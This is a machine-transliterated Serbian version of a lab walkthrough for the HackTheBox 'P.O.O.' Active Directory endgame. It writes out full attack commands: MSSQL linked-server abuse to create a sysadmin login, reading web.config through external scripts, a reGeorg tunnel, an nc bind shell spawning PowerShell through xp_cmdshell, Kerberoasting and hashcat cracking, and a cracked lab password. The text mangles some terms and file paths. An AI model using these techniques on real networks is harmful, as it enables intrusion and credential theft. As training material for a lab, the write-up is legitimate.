ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

У овом чланку ћемо анализирати пролаз не само машине, већ и целе мини-лабораторије са сајта ХацкТхеБок.

Као што је наведено у опису, ПОО је дизајниран да тестира вештине у свим фазама напада у малом окружењу Ацтиве Дирецтори. Циљ је компромитовати доступан хост, ескалирати привилегије и на крају компромитовати цео домен прикупљањем 5 заставица у процесу.

Веза са лабораторијом је преко ВПН-а. Препоручљиво је да се не повезујете са радног рачунара или са хоста где се налазе подаци важни за вас, јер завршите на приватној мрежи са људима који знају нешто из области информационе безбедности :)

Организационе информације
Да бисте могли да сазнате о новим чланцима, софтверу и другим информацијама, креирао сам канал у Телеграму и група за дискусију о свим питањима на подручју ИИКБ. Такође и ваше личне захтеве, питања, сугестије и препоруке Размотрићу то лично и одговорити свима..

Све информације су дате само у образовне сврхе. Аутор овог документа не преузима никакву одговорност за било какву штету нанету било коме као резултат коришћења знања и метода добијених као резултат проучавања овог документа.

интро

Овај крај игре се састоји од две машине и садржи 5 заставица.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Такође је дат опис и адреса доступног хоста.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Почнимо!

Рецон флаг

Ова машина има ИП адресу 10.13.38.11 коју додајем у /етц/хостс.
10.13.38.11 poo.htb

Пре свега, скенирамо отворене портове. Пошто скенирање свих портова помоћу нмап-а траје дуго, прво ћу то урадити користећи массцан. Скенирамо све ТЦП и УДП портове са тун0 интерфејса брзином од 500 пакета у секунди.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Сада, да бисмо добили детаљније информације о услугама које раде на портовима, покренимо скенирање са опцијом -А.

nmap -A poo.htb -p80,1433

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Дакле, имамо ИИС и МССКЛ услуге. У овом случају сазнаћемо право ДНС име домена и рачунара. На веб серверу нас дочекује ИИС почетна страница.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Хајде да пређемо преко директоријума. Користим гобустер за ово. У параметрима наводимо број стримова 128 (-т), УРЛ (-у), речник (-в) и екстензије које нас занимају (-к).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Ово нам даје ХТТП аутентификацију за /админ директоријум, као и приступачну датотеку десктоп сервиса .ДС_Сторе. .ДС_Сторе су датотеке које чувају прилагођена подешавања за фасциклу, као што су листа датотека, локација икона и изабрана позадинска слика. Таква датотека може завршити у директоријуму веб сервера веб програмера. На овај начин добијамо информације о садржају именика. За ово можете користити ДС_Сторе пописивач.

python3 dsstore_crawler.py -i http://poo.htb/

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Добијамо садржај директоријума. Најинтересантнија ствар овде је директоријум /дев, из којег можемо да погледамо изворе и дб фајлове у две гране. Али можемо користити првих 6 знакова имена датотека и директоријума ако је услуга рањива на ИИС СхортНаме. Ову рањивост можете проверити користећи ИИС скраћени скенер.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И налазимо једну текстуалну датотеку која почиње са „поо_цо“. Не знајући шта даље, једноставно сам одабрао све речи које почињу са „цо“ из речника именика.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

А ми ћемо то решити користећи вфузз.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И нашли смо праву реч! Погледамо овај фајл, сачувамо акредитиве (судећи по параметру ДБНАМЕ, они су из МССКЛ-а).

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Предајемо заставу, а напредујемо 20%.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Хух застава

Повезујемо се на МССКЛ, ја користим ДБеавер.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Не налазимо ништа занимљиво у овој бази података, хајде да направимо СКЛ Едитор и проверимо који корисници постоје.

SELECT name FROM master..syslogins;

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Имамо два корисника. Хајде да проверимо наше привилегије.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Дакле, нема привилегија. Хајде да погледамо повезане сервере, писао сам о овој техници детаљно овде.

SELECT * FROM master..sysservers;

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Дакле, налазимо други СКЛ Сервер. Хајде да проверимо извршење команди на овом серверу помоћу опенкуери().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Можемо чак и да направимо стабло упита.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Чињеница је да када упутимо захтев повезаном серверу, захтев се извршава у контексту другог корисника! Хајде да видимо који кориснички контекст покрећемо на повезаном серверу.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

А сада да видимо у ком контексту се извршава захтев са повезаног сервера на наш!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Дакле, ДБО контекст треба да има све привилегије. Хајде да проверимо привилегије у случају захтева са повезаног сервера.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Као што видите, имамо све привилегије! Хајде да направимо нашег администратора овако. Али они их не пуштају кроз опенкуери, хајде да то урадимо преко ЕКСЕЦУТЕ АТ.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

И сада се повезујемо са акредитивима новог корисника, посматрамо нову базу података застава.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Предајемо ову заставу и идемо даље.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Бацктрацк флаг

Хајде да набавимо љуску користећи МССКЛ, ја користим мссклцлиент из импацкет пакета.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Морамо да добијемо лозинке, а прво на шта смо већ наишли је веб локација. Дакле, потребна нам је конфигурација веб сервера (није могуће оставити погодну шкољку, очигледно је заштитни зид покренут).

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Али приступ је одбијен. Иако можемо да читамо датотеку из МССКЛ-а, само треба да знамо који су програмски језици конфигурисани. А у МССКЛ директоријуму сазнајемо да постоји Питхон.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Тада нема проблема да прочитате датотеку веб.цонфиг.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Са пронађеним акредитивима идите на /админ и узмите заставицу.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Фоотхолд флаг

У ствари, постоје неке непријатности због коришћења заштитног зида, али гледајући кроз подешавања мреже, примећујемо да се користи и ИПв6!

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Додајте ову адресу у /етц/хостс.
dead:babe::1001 poo6.htb
Хајде да поново скенирамо хост, али користећи ИПв6 протокол.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

А услуга ВинРМ је доступна преко ИПв6. Хајде да се повежемо са пронађеним акредитивима.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

На радној површини је заставица, предајемо је.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

П00нед флаг

Након извођења извиђања на домаћину користећи винпеас не налазимо ништа посебно. Онда је одлучено да поново потражим акредитиве (писао сам и на ову тему статью). Али нисам могао да добијем све СПН-ове из система преко ВинРМ-а.

setspn.exe -T intranet.poo -Q */*

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Покренимо команду преко МССКЛ-а.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Користећи ову методу, добијамо СПН корисника п00_хр и п00_адм, што значи да су рањиви на нападе као што је Кербероастинг. Укратко, можемо добити њихове хешове лозинки.

Прво морате да добијете стабилну шкољку као МССКЛ корисник. Али пошто смо ограничени у приступу, имамо везу са хостом само преко портова 80 и 1433. Али могуће је тунелирати саобраћај кроз порт 80! За ово ћемо користити следећа апликација. Учитајмо датотеку туннел.аспк у кућни директоријум веб сервера - Ц: инетпубвввроот.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Али када покушамо да му приступимо, добијамо грешку 404. То значи да се *.аспк датотеке не извршавају. Да бисте покренули датотеке са овим екстензијама, инсталирајте АСП.НЕТ 4.5 на следећи начин.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

А сада, када приступимо туннел.аспк, добијамо одговор да је све спремно за рад.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Покренимо клијентски део апликације, који ће преносити саобраћај. Проследићемо сав саобраћај са порта 5432 на сервер.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И ми користимо прокси ланце за слање саобраћаја било које апликације преко нашег проксија. Хајде да додамо овај прокси у /етц/прокицхаинс.цонф конфигурациони фајл.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Сада хајде да отпремимо програм на сервер нетцат, са којим ћемо направити стабилну бинд схелл, и скрипту Инвоке-Кербероаст, са којим ћемо извршити Кербероастинг напад.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Сада покрећемо слушалац преко МССКЛ-а.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И повезујемо се преко нашег проксија.

proxychains rlwrap nc poo.htb 4321

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И хајде да узмемо хеш.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Затим морате да поновите ове хешове. Пошто роцкиоу речник није садржао ове лозинке, користио сам СВЕ речнике лозинки које су дате у Сецлистс. За претрагу користимо хасхцат.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

И налазимо обе лозинке, прву у речнику дутцх_пассвордлист.ткт, а другу у Кеибоард-Цомбинатионс.ткт.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И тако имамо три корисника, идемо на контролер домена. Прво сазнамо његову адресу.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Одлично, сазнали смо ИП адресу контролера домена. Хајде да сазнамо све кориснике домена, као и ко је од њих администратор. Да бисте преузели скрипту да бисте добили информације ПоверВиев.пс1. Затим ћемо се повезати помоћу евил-винрм, наводећи директоријум са скриптом у параметру -с. А онда само учитајте ПоверВиев скрипту.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Сада имамо приступ свим његовим функцијама. Корисник п00_адм изгледа као привилеговани корисник, тако да ћемо радити у његовом контексту. Хајде да направимо ПСЦредентиал објекат за овог корисника.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Сада ће све Поверсхелл команде где наведемо Цредс бити извршене као п00_адм. Хајде да прикажемо листу корисника и атрибут АдминЦоунт.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

И тако, наш корисник је заиста привилегован. Да видимо у којим је групама.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Коначно потврђујемо да је корисник администратор домена. Ово му даје право да се даљински пријави на контролер домена. Покушајмо да се пријавимо са ВинРМ користећи наш тунел. Збуниле су ме грешке које је издао реГеорг када сам користио евил-винрм.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Затим користимо другу, лакшу, скрипта да бисте се повезали на ВинРМ. Хајде да отворимо и променимо параметре везе.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Покушавамо да се повежемо, а ми смо у систему.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Али нема заставе. Затим погледајте корисника и проверите радне површине.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

Код мр3кс налазимо заставу и лабораторија је 100% завршена.

ХацкТхеБокендгаме. Пролазак лабораторије Професионалне офанзивне операције. Пентест Ацтиве Дирецтори

То је све. Као повратну информацију, молимо вас да коментаришете да ли сте научили нешто ново из овог чланка и да ли вам је био користан.

Можете нам се придружити на Telegram. Тамо можете пронаћи занимљиве материјале, процуреле курсеве, као и софтвер. Хајде да окупимо заједницу у којој ће бити људи који разумеју многе области ИТ-а, онда увек можемо да помогнемо једни другима у вези са ИТ и питањима безбедности информација.

Извор: ввв.хабр.цом

Додај коментар